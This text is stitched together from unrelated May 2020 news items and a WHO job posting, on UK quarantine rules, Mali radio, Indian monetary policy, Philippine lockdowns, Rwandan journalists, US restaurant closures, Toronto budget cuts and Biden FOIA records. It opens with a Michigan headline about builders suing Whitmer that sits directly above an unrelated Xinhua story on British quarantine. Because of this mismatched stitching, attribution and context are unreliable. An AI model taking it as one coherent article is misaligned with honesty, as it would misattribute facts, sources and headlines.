Complete coverage at mlive.com/coronavirus

Friday, May 22: Latest developments on coronavirus in Michigan

Builders group sues Whitmer over new workplace safety orders
Source: Xinhua| 2020-05-23 02:05:00|Editor: huaxia

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LONDON, May 22 (Xinhua) -- New arrivals to Britain must self-isolate for two weeks from June 8, with fines for anyone who breaches the measure designed to prevent a second wave of coronavirus from overseas, Home Secretary Priti Patel said Friday.

Chairing the Downing Street briefing, Patel said passengers will need to provide their contact and travel information so they can be traced if infections arise. They could also be contacted regularly during the whole quarantine and face random checks from public health authorities.

Rule breakers would face a 1,000 pounds (1,217 U.S. dollars) fixed penalty notice in England and border force will be able to refuse entry to any non-British citizens who refuses to comply with these regulations, said the Home Office in a statement. Removal from the country could be used as a last resort, it said.

Those in quarantine will not be allowed to accept visitors, unless they are providing essential support, and should not go out to buy food or other essentials where they can rely on others, said the Home Office.

The mandatory self-isolation would not apply to people coming from Ireland, medics tackling COVID-19 and seasonal agricultural workers, said Patel.

The new move came as another 351 COVID-19 patients have died in Britain as of Thursday afternoon, bringing the total coronavirus-related death toll in the country to 36,393, according to the Department of Health and Social Care.

The figures include deaths in all settings, including hospitals, care homes and the wider community.

As of Friday morning, 254,195 people have tested positive for the disease in the country, marking a daily increase of 3,287, said the department.

Earlier in the day, Downing Street did not rule out London emerging from the lockdown sooner than other parts of the country, The Guardian newspaper reported.

"As we are able to gather more data and have better surveillance of a rate of infection in different parts of the country then we will be able to lift measures quicker in some parts of the country than in others," the prime minister's official spokesman was quoted as saying.

In another development, China's COVID-19 vaccine trial has shown some promising results as world is seeking solutions to the pandemic.

China's COVID-19 vaccine trial, the first such vaccine to reach phase 1 clinical trial, has been found to be safe, well-tolerated, and able to generate an immune response against SARS-CoV-2 in humans, according to a study published online on Friday by the medical journal The Lancet. Enditem
Project Officer, Geneva, Switzerland

Organization: World Health Organization (WHO)

Country: Switzerland

City: Geneva, Switzerland

Office: WHO Geneva, Switzerland

Grade: P-3

Closing date: Wednesday, 10 June 2020

Project Officer

( 2002174 )

Grade : P3

Contractual Arrangement : Temporary appointment under Staff Rule 420.4

Contract duration :

5 months

Job Posting: May 20, 2020, 4:10:15 PM

The WHO FCTC is the worlds only health treaty. The Convention Secretariat is a global authority concerning the implementation of the WHO FCTC, and its main functions are to: support Parties in fulfilling their obligations under the Convention its protocols and guidelines;

provide the necessary support to the Conference of the Parties (COP), the governing body of the WHO FCTC;

translate the decisions of the COP into programme activities.

The Convention Secretariat is an entity hosted by the World Health Organization in Geneva and cooperates with relevant departments of WHO and other competent international organizations and bodies, and non-governmental organizations accredited as observers to the Conference of the Parties.

The FCTC 2030 project is a five-year official development assistance funded project to support low- and middle-income countries to accelerate the implementation of the WHO FCTC.

The project is being delivered by the Convention Secretariat with official development assistance (ODA) funding. The focus of the FCTC 2030 project is on supporting WHO FCTC Parties that are low- and middle-income countries (LMICs) to achieve the Sustainable Development Goals (SDGs) that are relevant to tobacco control (particularly SDG

a) through the implementation of WHO FCTC time bound treaty obligations, strengthening taxes and improving tobacco control governance in line with Article 5 of the treaty.

DESCRIPTION OF DUTIES

Provide technical input to WHO FCTC Parties to support treaty implementation under the FCTC 2030 project and other mechanisms of support, as appropriate.

Support the delivery of decisions made by the WHO FCTC Conference of the Parties relating to sustainable measures of treaty implementation.

Undertake operational activities to promote WHO FCTC implementation as a means of accelerating development and the achievement of the SDGs, in particular SDG3.a.

Conduct project management for the FCTC 2030 project, to include assisting with the preparation of annual budgets and work plans,manage procurement, and monitoring of performance measures to assure delivery of the project.

Undertake monitoring and evaluation of the FCTC 2030 project, including preparing technical progress reports as required by the donor and other internal reports.

Prepare publications relevant to the implementation of the WHO FCTC and development and the FCTC 2030 project.

Undertaking communications to promote the WHO FCTC and FCTC 2030 project.

Management responsibility for the FCTC 2030 project team assistant. Any other activity requested by the HoS.

Achievement Activities Include: Contribute to developing work plans, evaluate technical progress, prepare project materials & reports, liaise with colleagues from Convention Secretariat, wider UN organizations and WHO FCTC Parties on project priorities and activities, and guide efficacy, achievement of value for money and timeliness of delivery of the FCTC 2030 project.

REQUIRED QUALIFICATIONS

Education

Essential: A first university degree in Health and Development and/or Public Health.

Desirable: An advanced university degree (Masters level or above)in Health and Development and/or Public Health.

Experience

Essential: Minimum five years of combined national and international professional experience in project management in the fields of public health and/or international development.

Desirable: Skills

Familiarity with the WHO FCTC;

In-depth knowledge of technical matters relating to the implementation of the WHO FCTC;

In-depth knowledge of the links between development and tobacco control; Excellent oral and written communication skills;

Experience in using project management techniques;

Experience working in an intergovernmental organization will be an advantage.

WHO Competencies

Teamwork

Respecting and promoting individual and cultural differences

Communication

Producing results

Ensuring the effective use of resources

Creating an empowering and motivating environment

Use of Language Skills

Essential: Expert knowledge of English.

Desirable: REMUNERATION

WHO salaries for staff in the Professional category are calculated in US dollars. The remuneration for the above position comprises an annual base salary starting at USD 60,962 (subject to mandatory deductions for pension contributions and health insurance, as applicable), a variable post adjustment, which reflects the cost of living in a particular duty station, and currently amounts to USD 3942 per month for the duty station indicated above. Other benefits include 30 days of annual leave, allowances for dependent family members, home leave, and an education grant for dependent children.

ADDITIONAL INFORMATION

This vacancy notice may be used to fill other similar positions at the same grade level

Only candidates under serious consideration will be contacted.

Tags development assistance monitoring and evaluation non governmental organizations operational activities procurement project management sdg3 sdgs sustainable development sustainable development goals tobacco control

A written test may be used as a form of screening.

In the event that your candidature is retained for an interview, you will be required to provide, in advance, a scanned copy of the degree(s)/diploma(s)/certificate(s) required for this position. WHO only considers higher educational qualifications obtained from an institution accredited/recognized in the World Higher Education Database (WHED), a list updated by the International Association of Universities (IAU)/United Nations Educational, Scientific and Cultural Organization (UNESCO). The list can be accessed through the link: http://www.whed.net/. Some professional certificates may not appear in the WHED and will require individual review.

Any appointment/extension of appointment is subject to WHO Staff Regulations, Staff Rules and Manual.

Staff members in other duty stations are encouraged to apply.

For information on WHOs operations please visit: http://www.who.int.

WHO is committed to workforce diversity.

WHOs workforce adheres to the WHO Values Charter and is committed to put the WHO Values into practice.

WHO has a smoke-free environment and does not recruit smokers or users of any form of tobacco.

WHO has a mobility policy which can be found at the following link: http://www.who.int/employment/en/. Candidates appointed to an international post with WHO are subject to mobility and may be assigned to any activity or duty station of the Organization throughout the world.

Applications from women and from nationals of non and underrepresented Member States are particularly encouraged.

*For WHO General Service staff who do not meet the minimum educational qualifications, please see e-Manual III.4.1, para 220.

As a WHO staff member assigned solely and exclusively to support this Partnership, selected staff will have no right of reassignment or transfer outside the Partnership either during or at the end of his/her appointment, including pursuant to WHO Staff Rule 1050. (This does not apply to WHO fixed-term staff members reassigned from a non-Partnership position.)
The phone doesnt stop ringing in Mikado FMs main studio in Malis capital Bamako, during the show Midikado, one of the most popular radio broadcasts in the country.

"Tell me the basic protective measures you should take to protect yourself and others from the coronavirus," asks Ben Junior Kambire, the host of this quiz show intended to test the knowledge of listeners on COVID-19, while at the same time entertaining them.

"Wash your hands frequently, avoid touching your eyes, mouth and nose," replies Salome Dembele, who is calling in from Bamako. She adds: "You must also avoid crowds, cover your mouth and nose with your bent elbow or a tissue when you cough or sneeze, and seek medical attention as soon as possible when you have a fever, a cough, and difficulty breathing. But before going to the doctor, you must first telephone them.

"Good answer! The host says in his usual cheerful voice.

Ms. Dembele, an elementary school teacher, will later receive a gift for her successful participation, like other Midikado winners. Over the years, the radio stations interactive programming has amplified peoples voices, including about their daily concerns.

Mikado FM was launched in 2015 by the United Nations peacekeeping mission in Mali to help consolidate peace and promote harmony and coexistence following a protracted war. The station communicates with listeners in French as well as in the countrys main languages.

Now with the COVID-19 pandemic, host Ben Junior Kambire has never felt more useful to his community.

"Between two questions put to listeners on COVID-19, I play songs that also help raise awareness about the pandemic, and other public service messages," he explains.

His colleagues, responsible for information programmes in local languages, share the same feeling. After the Midikado show, they will all come on the air to present the latest news on COVID-19 in Bambara, Songhay, Tamasheq, Fulani and Arabic.

Other Mikado FM programmes are also creating public awareness about the COVID-19 pandemic.

Objectif Sante is a weekly show focused on health and well-being. The shows guests include the World Health Organizations representative in Mali Dr. Jean-Pierre Baptiste and officials from the government health agencies who provide the latest news on the pandemic, as well as a psychologist focused on the mental health impacts of the crisis.

The show also caters to children who are confined to their homes due to school closures.

"We produce spots during which we answer children's questions on COVID-19," says Mimi Konate, another popular radio presenter. Through a show called The Coronavirus explained to Children, we explain the pandemic in a simple language that is accessible to them."

The deputy director of the National Health Department, Abdoulaye Guindo, is a regular on the show. He says: "Mikado FM provides remarkable public service work through the quality of its programmes and its broad reach in our country where radio is an important media. Mikado FM does not only provide quality information; it is also very useful in dispelling rumours that are often dangerous in today's environment."

Dispelling rumours and fake news

Informing, but above all countering rumours and dispelling fake news: this is the objective of the programme Le vrai du faux (True from False) launched three months ago. Its host, Aboubacar Dickos hands are full dispelling the several rumours and misinformation on COVID-19 circulating on social media networks. These fake stories on the pandemic must be debunked quickly to set the record straight.

"You have to stay proactive," Mr. Dicko explains while preparing for his next show. On social media, we are on the alert because rumours and misinformation are spreading faster than the pandemic." The radio station has also adopted a multimedia approach to its programmes to reach the greatest number of people during the pandemic. One recent example is the campaign Artists Against the Coronavirus with Mikado FM.

Recently, renowned Malian artists, including Amadou and Mariam, Oumou Sangare, Cheick Tidiane Seck, and Ami Koita, recorded video messages in French and local languages to raise awareness about the pandemic. The video messages are disseminated on social media, and broadcast as radio spots on Mikado FM as well as on dozens of partner radio stations in different regions across the country.

Mikado FM is working around the clock to ensure that communities feel they have a trusted partner as they take the appropriate individual and collective measures to contain the virus.

For more information on COVID-19, visit www.un.org/coronavirus
In a move that'll provide relief to exporters, the Reserve Bank of India has increased export credit period to 15 months from 1 year, RBI Governor Shaktikanta Das announced on Friday. Exporters had been demanding extension of the scheme in the wake of the COVID-19 crisis in India and across the world. "Exporters have been facing genuine difficulties such as delay/ postponement of orders and delay in realisation of bills, which are adversely affecting their production and realisation cycles. It is in this context that the RBI permitted an increase in the period of realization and repatriation of export proceeds to India from nine months to 15 months from the date of export in respect of exports made up to or on July 31, 2020," the MPC report stated.

The apex bank had earlier extended the scheme providing interest subsidy for post and pre-shipment export credit by a year till March 31, 2021. Exporters get the subsidy under the ''Interest Equalisation Scheme for pre and post shipment Rupee Export Credit''. The scheme ended on March 31 this year.

In November 2018, the interest subsidy was increased to 5 per cent from 3 per cent with an aim to boost MSME sector exports. Later, the government included other merchant exporters too under the scheme and allowed them interest equalisation at the rate of 3 per cent on credit for export of certain products.

Also read: India's GDP growth in FY21 to remain negative, says RBI's Shaktikanta Das

Shaktikanta Das also announced a cut in repo rate by 40 bps to 4 per cent. The reverse repo rate stands adjusted at 3.35 per cent from 3.75 per cent earlier. The monetary policy committee (MPC) is maintaining an "accommodative" stance until growth revives, Das said.

Also read: Coronavirus impact: Inflation outlook uncertain at this point, says RBI's Shaktikanta Das

Das added that India's GDP growth was likely to remain in the negative zone in FY21, and that the growth might pick up in the second half of FY 2020-21. He also said the monetary policy committee (MPC) believed the inflation outlook was uncertain at this point. The elevated level of pulses inflation is worrisome and immediate step-up of open market sales can cool down cereal prices, said Das.

The RBI Governor also extended the loan moratorium by three more months till August, which will provide a huge relief to those paying loan EMIs but are not in position do so due to the coronavirus-induced lockdown impact.

Also read: RBI Governor briefing highlights: Repo rate cut by 40 bps to 4%; loan moratorium extended by 3 more months
Metro Manila (CNN Philippines, May 22)  The local government of Navotas City has placed 10 barangays under enhanced community quarantine starting May 23.

In a statement, the city's public information office said barangays NBBS Dagat-Dagatan, NBBS Kaunlaran, NBBS Proper, San Jose, NBBN, Sipac Almacen, Daanghari, Tangos North, Tangos South, and San Roque will be placed under enhanced community quarantine (ECQ) beginning Saturday at 5:01 a.m. until May 31 at 11:59 p.m.

"The Regional Inter-Agency Task Force for the Management of Emerging Infectious Diseases-National Capital Region (RIATF NCR) noted that the said barangays have the highest number of cases of Coronavirus Disease 2019 (COVID-19) in the city," said the Navotas City PIO.

The guidelines set by Navotas City Mayor Toby Tiangco under an executive order emphasize the strict implementation of the city's rules on the usage of the home quarantine pass (HQP).

Only one person per household will be allowed to use the previously issued HQP," Tiangco's Executive Order No. TMT-030 read. "No additional HQPs shall be issued by the barangays.

The quarantine pass can be used when going to the market on scheduled days or purchasing medicines and other essential goods, and during medical and health emergencies, the executive order said.

The barangay-based market schedule implemented by the city shall remain in effect, it added.

"HQP holders of Barangays San Rafael Village, NBBS Kaunlaran, Bangkulasi, Bagumbayan South, Navotas East, Sipac-Almacen, Daanghari, Tangos North, and Tanza 1 can go out of their homes to buy essentials only on Mondays, Wednesdays and Fridays," said the Navotas City PIO.

The remaining barangays may perform such activities on Tuesdays, Thursdays, and Fridays, the PIO also said.

Essential workers or those exempted by the Inter-Agency Task Force (IATF) are allowed to go to work provided they present a valid company ID or certificate of employment, it added.

Meanwhile, members of vulnerable sectors such as the elderly and young children are still prohibited from going out except for emergency purposes.

Tiangco also encouraged the distribution of cash aid, relief goods, and other forms of assistance according to the prescribed schedule for barangays.

"138 na po ang mga kaso ng COVID-19 sa ating lungsod. Kailangan nating habulin ang pitong araw na niluwagan natin ang galaw ng ating mamamayan." said the mayor in a Facebook post. "Ang paghihigpit po na kaakibat ng pagpapatupad ng ECQ ay para rin sa ating kabutihan. Kailangan po nating mapigil ang pagdami ng mga kaso ng COVID-19. Malaki po ang maitutulong ng pananatili sa bahay para maiwasan nating mahawaan tayo o makahawa tayo sa iba."

Navotas City is under modified ECQ with the rest of Metro Manila, along with Laguna and the entire Region III (except Aurora and Tarlac) until May 31.

[Translation: The city already has 138 cases of COVID-19. We need to catch up to the seven days that we allowed freer movement for our citizens. The strict measures that come with the declaration of ECQ is also for our good. We need to stop the rise in COVID-19 cases. Staying at home helps a lot in preventing ourselves from getting infected or infecting others.]

Twenty-four people in the city died from the disease, while 30 others got well.

Local governments under modified ECQ may place certain barangays or areas under lockdown depending on the number of cases there in a bid to curb the spread of COVID-19.

READ: DILG to LGUs: Barangay lockdowns must be 'based on science'
Nairobi, May 21, 2020 -- Rwandan authorities should unconditionally release journalist Dieudonne Niyonsenga and media worker Fidele Komezusenge, and ensure the members of press can work without interference during the COVID-19 pandemic, the Committee to Protect Journalists said today.

Authorities arrested Niyonsenga, who runs the YouTube news channel Ishema TV , and Komezusenge, a driver with the channel, on April 15, according to tweets from the Rwanda Investigation Bureau, which handles criminal investigations.

The bureau said the two were arrested for violating the countrys COVID-19 lockdown, alleging that Niyonsenga, who also goes by the name Hassan Cyuma, resisted orders to go back home, saying that as a journalist he was allowed to move freely during the lockdown. The bureau also accused Niyonsenga of giving Komezusenge a card falsely identifying him as a journalist so that he could work during the lockdown.

Three people familiar with the case, who spoke to CPJ on condition of anonymity, citing fear of reprisal, said that Niyonsenga and Komezusenge were going to report at the time of their arrest. One said that Niyonsenga had a camera with him at the time.

In the weeks before the arrests, Ishema TVs YouTube Channel posted reports including an interview with a woman in poverty appealing for help, a discussion on the firing of a state minister , and two reports on alleged abuses by security personnel.

CPJ has not seen a copy of the charges filed against Niyonsenga and Komezusenge, and National Public Prosecution Authority spokesperson Faustin Nkusi did not respond to questions about those charges during an exchange of WhatsApp messages with CPJ yesterday.

Three other people familiar with the case, who spoke to CPJ on the condition of anonymity citing security concerns, said the charges against the two include forgery and claiming to be journalists.

Under Rwandan law , forgery is punishable with jail terms of up to seven years and fines of up to five million Rwandan francs ($5,000), and falsely claiming to be a member of a legally regulated profession carries a prison term of up to six months and fines of up to one million Rwandan francs ($1,000).

Journalists and media workers need to do their jobs without interference if the public is to stay informed and authorities are to be held accountable during the COVID-19 pandemic, said CPJs sub-Saharan Africa representative, Muthoki Mumo. Authorities in Rwanda should release Dieudonne Niyonsenga and Fidele Komezusenge, drop any charges against them, and guarantee that the press can work freely during the pandemic.

On March 21, Rwanda implemented COVID-19 response measures that included banning all unnecessary movement, with the exception of essential services, which did not explicitly exempt journalists, according to government announcements on Twitter.

Guidelines issued by the Rwanda Media Commission, a self-regulatory body, and shared with CPJ, advised journalists to work from home when possible or carry press cards if they go out to the field.

On April 13, the commission issued a statement saying that individuals running personal YouTube channels did not qualify as journalists, and were not allowed to conduct interviews with the public during the countrys coronavirus lockdown.

In a May 18 email to CPJ, a representative of the secretariat of the media commission said that Niyonsenga and Komuzusenge were arrested like any other citizens for violating stay home guidelines. The commission told CPJ that it had not registered Ishema TV or accredited any of its staff.

Authorities allege that, because Niyonsenga and Ishema TV are not registered with the Rwanda Media Commission, he and Komezusenge were impersonating journalists, and Komezusenges identification card labeling him as a journalist constituted forgery, according to the three people familiar with the charges who spoke to CPJ.

In its tweets , the Rwanda Investigation Bureau shared images of two identification cards, identifying both Komezusenge and Niyonsenga as senior reporter/journalist with Ishema TV. The people who spoke to CPJ about the charges said that these were company identification cards, printed by Ishema TV, and not government-issued documents.

On May 11, a court in Kigali denied Niyonsenga and Komezusenge bail and remanded them to prison for 30 days, according to those three people and media reports .

In a May 18 phone call, Rwandan justice minister Johnston Busingye said that the state would never detain or prosecute anyone in connection to their journalism work and referred CPJ to the office of the prosecutor general for further comment on the case.

In a text sent via messaging app, Faustin Nkusi, the spokesperson for the National Public Prosecution Authority, told CPJ that the alleged crimes for which the YouTubers are being investigated have nothing to do with their right to report or their profession. He did not provide details on which specific laws they are accused of contravening.
The dining section is closed off at East Side Pockets, a small restaurant in Providence, R.I., on March 25, 2020. (David Goldman/AP Photo)

Pandemic Closes Thousands of Restaurants Around Country, Threatening Livelihoods and Culture

As the country starts reopening, a new reality will meet those fond of dining outmany restaurants have closed for good and most others are struggling to get back to the statuses they previously enjoyed in their communities.

David Chang opened Momofuku Noodle Bar in New York City in 2004. Since then, his company has come a long way with restaurants in Washington, New York City, Las Vegas, and Los Angeles. Award-winning Chang has to his credit a New York Times best-selling book, Momofuku, and an original non-fictional Netflix series.

But on May 13, as the company assessed each of its restaurants and their financial viability amid the CCP virus pandemic, Chang had to take an extremely difficult decision to forever close two of his restaurantsNishi in New York City and CCDC in Washington.

As part of its cost-cutting, Momofuku is also shifting its 15-year-old Ssam Bar in NYC from East Village to South Street Seaport, where its team will be merged with the companys another restaurant, Wayo.

Its really tough here, said Chang on his podcast, The David Chang show. I saw this coming.

Chef David Chang presents a recipe during the gastronomic fair Madrid Fusion in Madrid on Jan. 21, 2009. (Pierre-Philippe Marcou/AFP via Getty Images)

Saffron Table in Bozeman, Montana, served south Asian cuisine and relied on the love of its local community for 6 years. The restaurant linked a familys culture, heritage, and food across continents and went from offering curbside service on March 16 to closing forever on April 28.

As Bozeman begins to reopen, there is much uncertainty ahead for our restaurant and the entire industry. It has taken a while to think all this through but I feel it will now be best to close the doors of Saffron Table permanently, said owner Andleeb Dawood in a statement.

Like Nishi, CCDC, and Saffron Table, one-quarter of the restaurants in the country will not reopen at all, according to Open Table, which conducted a survey of 20,000 of the 60,000 restaurants it works with.

Major dining closures include 97 soup buffet restaurants of Souplantation and Sweet Tomatoes, which laid off 4,400 team members, and over two dozen restaurants of Cohn Restaurant Group, which laid off 1,700 workers in southern California.

Accumulating Debts

Shah Jada Elias started Prince Kabab & Chinese Restaurant three years ago in Jackson Heights in New York City. It took him two years of struggle to start making a profit and just when the restaurant had started to meet his dreams, the pandemic happened, forcing him to close his eatery for three months.

We are a victim of the coronavirus, said Elias. If this condition continues, well be begging. How will I survive?

Elias explains why many restaurants are closing down because of the CCP virus pandemic: Rents in New York City are extremely high. I pay $20,000 every month for this space.

While profits have been nil, Elias has accumulated a debt of $60,000 just because of the rent. Every day before the coronavirus my restaurant was earning $5,000, now it earns only $300-500. I can barely pay salaries with this money.

Elias opened a curbside service on May 15 and applied for a PPP loan of $18,000 on Wednesday. With this loan well be hardly able to cover the daily operations. Government, please take care of us.

Remove the rent and provide a bigger loan. Otherwise we cant survive.

Shah Jada Elias, owner of the restaurant, Prince Kabab and Chinese at Jackson Heights, New York City on May 20, 2020. (Venus Upadhayaya/The Epoch Times)

Momofukus story is similarin a statement on its website, the company said that restaurants run on razor-thin margins and that the margins in the case of Nishi and CCDC were particularly challenging.

All restaurants operate on razor-thin margins, but some are thinner than others. In the case of Nishi and CCDC, the margins were particularly challenging, said the company. As we looked at new realities, neither restaurant had enough cushion to sustain the shock of this crisis.

With the lockdown, consumer spending at eating and drinking dropped to its lowest level since October 1984the sales on a seasonally adjusted basis, were $32.4 billion in April, less than half of the $65.4 billion of two months ago, according to The National Restaurant Association.

Guidelines for Reopening

In upstate New York in Fulton county, Sheriff Richard Giardino is concerned that as the county reopens, many small restaurants may not be able to reopen as they cant provide 6 feet distance between the tables and cant afford plastic shields as recommended by the Center for Disease Control (pdf) this month.

Im concerned mostly for the restaurants being hit the hardest because those are the ones that rely on small areas and a lot of people to make a profit, said Richard, adding that he fears two restaurants in his county of 55,000 people will close forever.

In Johnstown, New York, Lisa and Todd Richard set up the eight-table Hot Dog Hut Cafe 21 years ago. When the shutdown happened, they closed their normal operations and put two tables outside where customers could collect their take-outs.

We are small, we have eight tables in here. So you take out four of those to give them space and we are thinking we are not going to open our restaurant for four tables eating, Lisa told The Epoch Times over the phone. Until there is probably a vaccine. We dont want to fight the people, we dont want to upset them.

Krishnendu Ray, the Chair of the Department of Food and Nutrition Studies at New York University, told The Epoch Times in an email that social distancing rules are mostly going to work for small takeout joints and ghost kitchens.

A pedestrian wears his face mask while walking past a closed Nickel Diner in Los Angeles, Calif., on May 7, 2020. (Frederic J. Brown/AFP via Getty Images)

They will probably increase their sale and their owners and workers could make a living if restaurant delivery apps are constrained to take a reasonable cut of 10-15 percent instead of the current 25-30 percent, he said.

Restaurants with online services were also badly hit during the pandemic as they were forced to pay delivery app fees as high as 30 percent. Market Place reports that San Francisco, New York, Washington, and Los Angles have already put a cap on the fees charged by third-party apps as this has already been an issue of debate.

Elias says as New York City opens and restaurants start operating with social distancing, his 65-seater eatery will be reduced to accommodate only twenty and profit-making will continue to be difficult.

It will be tough to make ends meet with 30 percent of the seats but some restaurants are trying new models as gourmet grocery stores and meal-kit delivery systems. We shall see how and if they manage to survive, said Ray.

Serious Dent into Urban Culture

On any day before the pandemic, Prince Kabab & Chinese Restaurant was crowded with a multi-ethnic crowdthe food trolley near the door offered Pakistani, Indian, and Bangladeshi cuisine, while the counter at the rear end of the hall decked with Tibetan and Himalayan motifs served Nepali and Tibetan food.

Just like Chang, the son of Korean immigrants who brings an ethnic touch to his cuisine and restaurants, Eliass restaurant brings a cultural experience to what he serves and how he serves. Ray says closure of restaurants around the country because of the pandemic threatens this interesting urban culture.

Poor and middling transnational and intra-national immigrants rarely design buildings, make movies or produce Broadway showswhich need investments of multiples of millions of dollarsbut they do design their shops and stores and restaurants that give a city its real color and aroma at the level of the street, he said.

Ray said the closures will also threaten the dreams of the common man in the country. Restaurant work is not only about unremitting toil but it is also about the dreams and aspirations of common people making the best out of mobile lives.
President Donald Trump says he will order the US flag to be flown at half-staff over the next three days as the death toll from COVID-19 surpasses 95,000.

Trump tweeted Thursday: I will be lowering the flags on all Federal Buildings and National Monuments to half-staff over the next three days in memory of the Americans we have lost to the CoronaVirus."



He said the flags will continue to be flown at half-staff on Memorial Day in honor of those in the military who died serving their country.

The move follows a request from Democratic leaders to do so to recognize a sad day of reckoning when we reach 100,000 deaths.

House Speaker Nancy Pelosi and Senate Minority Leader Chuck Schumer wrote to Trump that an order to fly the US flag at half-staff would serve as a national expression of grief so needed by everyone in our country.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Prithviraj alongside a 58-member crew of Aadujeevitham finally returned to India in a special Air India flight run by the government under the Vande Bharat Mission.

The 58-member crew of Aadujeevitham, including actor Prithviraj Sukumaran and director Blessy, who were stranded in Jordan for the last couple of months due to COVID-19 lockdown returned to India on Friday.

According to The Indian Express, the team arrived in Delhi from Jordans capital Amman this morning. They came in a special Air India flight which is being run under the Vande Bharat Mission of the government, to bring back citizens stranded abroad. The actor and the crew have been ordered to self-quarantine for 14 days.

(Click here for LIVE updates on coronavirus outbreak)

After landing in Kochi, the actor posted a photograph of himself on social media wearing a mask and gloves.

Here is the post

The report mentions that Prithviraj was shooting at Wadi Rum desert in Jordan for Aadujeevitham when most parts of the world went into lockdown to contain the spread of novel coronavirus.

Since the crew was at an isolated location, the local government had given them permission to continue with the shooting, adhering all the safety measures in the place. They were asked to suspend the shooting around March-end until further notice.

Last week, Prithviraj took to social media to announce the schedule wrap of Aadujeevitham.

Before flying from Jordan, Embassy of India in Amman posted the pictures of crew at the airport.

Prithviraj's wife Supriya Menon posted a message on Instagram where she said, "Personally we would like to thank all the fans and well wishers who prayed for us and gave us strength during our time of separation."

Here is her post



View this post on Instagram Hes back!  A post shared by Supriya Menon Prithviraj (@supriyamenonprithviraj) on May 21, 2020 at 10:11pm PDT

On 1 April, the actor issued a statement of Twitter updating his fans and followers about the situation of Aadujeevitham crew in Jordan. He said that they were advised to return to India at the first opportunity.

Aadujeevitham, which also stars Amala Paul, Aparna Balamurali among others, is based on the best-selling novel by noted Malayalam writer Benyamin.
Mayor John Tory has outlined a doomsday scenario if other levels of governments don't step in to save the city financially.

In a message aimed directly at Ottawa and Queens Park  which have yet to commit to substantial funding to cover the estimated $1.5-billion shortfall in Toronto this year  Tory laid out what he called devastating slashing of TTC, police and library budgets as well as mass layoffs.

Without immediate support, our city, like many other cities across Canada  in fact, I think without exception cities across Canada  is facing unprecedented cuts that will hurt the city and every person and every business that the federal and provincial governments have been trying to help over the last weeks since this pandemic began, Tory said at a regularly scheduled city hall news conference.

In calling on those governments to intervene, he then listed, in dramatic fashion, the cuts staff had calculated would be required if that help doesnt come.

That theoretical list, he said, includes a $575-million reduction to TTC service representing an unprecedented 50 per cent shutdown that would cut service in half on lines 1 and 2; shutting down the Scarborough RT and Sheppard line; diminishing streetcar service to once every 10 to 20 minutes; cutting service on bus routes like Jane, Dufferin, Steeles and Finch in half; and reducing Wheel-Trans service by more than four million rides.

Beyond the TTC, Toronto Fire would see a $23-million cut and Toronto Police would have to scrap 500 front-line officers after numbers were boosted in this years budget.

The needed service reductions would see 40,625 child-care subsidies disappear, and half of the shelter spaces added for physical distancing closed.

Community services would take an enormous hit: 61 community centres would close, representing a loss of 600,000 hours of recreation programs, as well as library branch closures.

Long-term care would lose 1,320 beds.

Toronto Community Housing would cost more for residents paying subsidized rent.

Plans to open additional safe spaces for youth in community hubs to help stem gun violence would not proceed.

And more than 19,000 city employees would be laid off.

On top of that, capital infrastructure builds and repairs, including critical transit projects, would see $451 million in reductions, Tory said. He did not elaborate on which projects would be on the chopping block.

I find these cuts completely unacceptable, the mayor said. I dont know how we can contemplate cuts to our services though when we are at a time when you, the people of the city of Toronto and people in cities across Canada, need those services the most.

The city cannot run a deficit to pay for operating expenses like running buses or keeping library branches open. And even if it was allowed under provincial rules governing municipalities, Tory said he wouldnt want to see it happen since the city would still be responsible for paying back the debt with limited resources.

Other options, like raising taxes, are also unconscionable he said Friday. Covering a $1.5-billion shortfall would require a 47 per cent residential property tax increase.

Jennifer Pagliaro is a Toronto-based reporter covering city hall and municipal politics for the Star. Follow her on Twitter: @jpags
Democratic presidential hopeful former Vice President Joe Biden speaks during a primary debate in Houston, Texas, on Sept. 12, 2019. (Robyn Beck/AFP via Getty Images)

University of Delaware Rejects FOIA Requests on Biden Records

The University of Delaware has refused to provide Fox News with a collection of senatorial papers linked to former Vice President Joe Biden, who is accused of sexual assault by his former staffer Tara Reade.

The news outlet reported Thursday that after it submitted requests for the records under the Freedom of Information Act (FOIA) last month, the Delaware university cited a provision in the law that purportedly exempts it from disclosing information unrelated to public funds.

Fox News said it sent the the University of Delaware three FOIA requests on April 29 and April 30, asking for records which relate to Reades sexual assault allegations against the presumptive Democratic presidential nominee.

Reade, who worked for Biden when he was a U.S. senator, initially accused Biden of sexual harassment. She elevated her complaint to sexual assault this year.

One of the requests asked for records from 1993 which specifically contain the name Tara Reade by either her first or last name, or those which mention complaints filed against the former vice president or any of the staffers in his Senate office.

Tara Reade poses for a photograph during an interview in Nevada City, Calif., on April 4, 2019. (Donald Thompson/AP Photo)

Another FOIA request asked the University of Delaware for a copy of the gift agreement between the University of Delaware and Joseph R. Biden Jr., related to Bidens senatorial papers and any other documents that relate to the universitys policy of releasing the records no sooner than the later date of Dec. 31, 2019, or two years after the donor retires from public life.

The requests were rejected on the basis that they do not relate to the expenditure of public funds, as defined by FOIA, the universitys Associate Vice President and General Counsel Jennifer Becnel-Guzzo said.

The third public records request sent by Fox News asked for all correspondence involving any members of the University of Delawares board of trustees, the university president, or any employees of the university library related to Bidens senatorial papers, or his presidential run after March 1the same month Reade elevated her complaint against Biden to sexual assault.

Becnel-Guzzo told the news outlet that while the University of Delawares board meetings are subject to FOIA requests under Delawares FOIA law, there are no records of the matters being discussed by the universitys board of trustees.

The candidacy of Joseph R. Biden, Jr. for president and the Joseph R. Biden, Jr. senatorial papers were never addressed in a meeting of the full board of trustees, Becnel-Guzzo responded. Therefore, the university has no public records responsive to your three requests.

Democratic presidential candidate and former Vice President Joe Biden at an event in Wilmington, Delaware, on March 12, 2020. (Carlos Barria/Reuters)

The university has previously said that documents related to when Biden was a U.S. senator representing Delaware will not be released without his express consent.

Reade she was initially reluctant to go public with the assault allegations because she was being threatened after accusing Biden of harassment in 2019.

Already I was being threatened and kind of smeared, and I just I wasnt ready, she told The Associated Press. So I talked about the sexual harassment and what I was comfortable talking about, but I wasnt ready to talk about sexual assault.

Reade filed a police report in Washington in April saying she was the victim of a sexual assault. She has told news outlets that Biden accosted her at the U.S. Capitol.

While no former Biden workers have supported Reades claims of sexual harassment and sexual assault, others have, including a woman who lived near Reade in 1995 and 1996 and another woman who worked with Reade for California State Sen. Jack OConnell after Reade left Washington.

Reades brother has said his sister was upset in 1993 about Biden inappropriately touching her and that she told him that year that the congressman sexually assaulted her.

Several of Reades friends have also corroborated details of Reades story.

